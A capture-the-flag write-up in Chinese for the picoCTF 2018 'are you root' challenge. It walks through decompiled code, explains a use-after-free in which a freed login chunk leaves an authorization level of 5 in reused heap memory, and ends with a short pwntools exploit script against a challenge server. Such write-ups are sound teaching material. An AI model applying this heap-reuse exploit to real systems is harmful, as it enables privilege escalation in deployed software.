picoctf_2018_are you root
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
64位没开pie
看一下ida
发现有个give_flag函数,基本调用就可以getflag了
if ( v6 )
{
if ( *((_DWORD *)v6 + 2) == 5 )
give_flag(s);
else
puts("Must have authorization level 5.");
}
只要v6+2
的指针,指向的内容是5就可以getflag了
看一下add
else if ( !strncmp(s, "login", 5uLL) )
{
if ( v6 )
{
puts("Already logged in. Reset first.");
}
else
{
nptr = strtok(v10, "\n");
if ( !nptr )
goto LABEL_11;
v6 = (void **)malloc(0x10uLL);
if ( !v6 )
{
puts("malloc() returned NULL. Out of Memory\n");
exit(-1);
}
*v6 = (void *)(int)strdup(nptr);
printf("Logged in as \"%s\"\n", nptr);
}
}
他这里是申请两个堆,
第一个堆,申请0x10大小的堆,并且放入第二个堆的堆指针
介绍一下strdup函数
他会调用malloc()函数并且不会自身free。并且把内容写入堆
所以再看一下free的过程
else if ( !strncmp(s, "reset", 5uLL) )
{
if ( v6 )
{
free(*v6);
v6 = 0LL;
puts("Logged out!");
}
else
{
puts("Not logged in!");
}
}
只free掉了v6的指针,也就是二号堆,并没有把申请的一号堆free掉,并且只清空了一号堆的[0]。
思路如下,我们利用
申请的二号堆,写入辣鸡数据,然后将[1]写入0x5
然后free掉,进入tcache,然后再申请回来,此时的二号堆变成了
新的一号堆,里面存放着0x5
。并且v6+2
指向也是这个位置
然后我们就可以getflag了
from pwn import*
from Yapack import *
libc=ELF('./libc-2.27.so')
context(os='linux', arch='amd64',log_level='debug')
r,elf=rec("node4.buuoj.cn",28577,"./pwn",10)
me=b'> '
sla(me,b'login '+b'a'*8+p64(0x5))
sla(me,b'reset')
sla(me,b'login ya')
sla(me,b'get-flag')
#debug()
ia()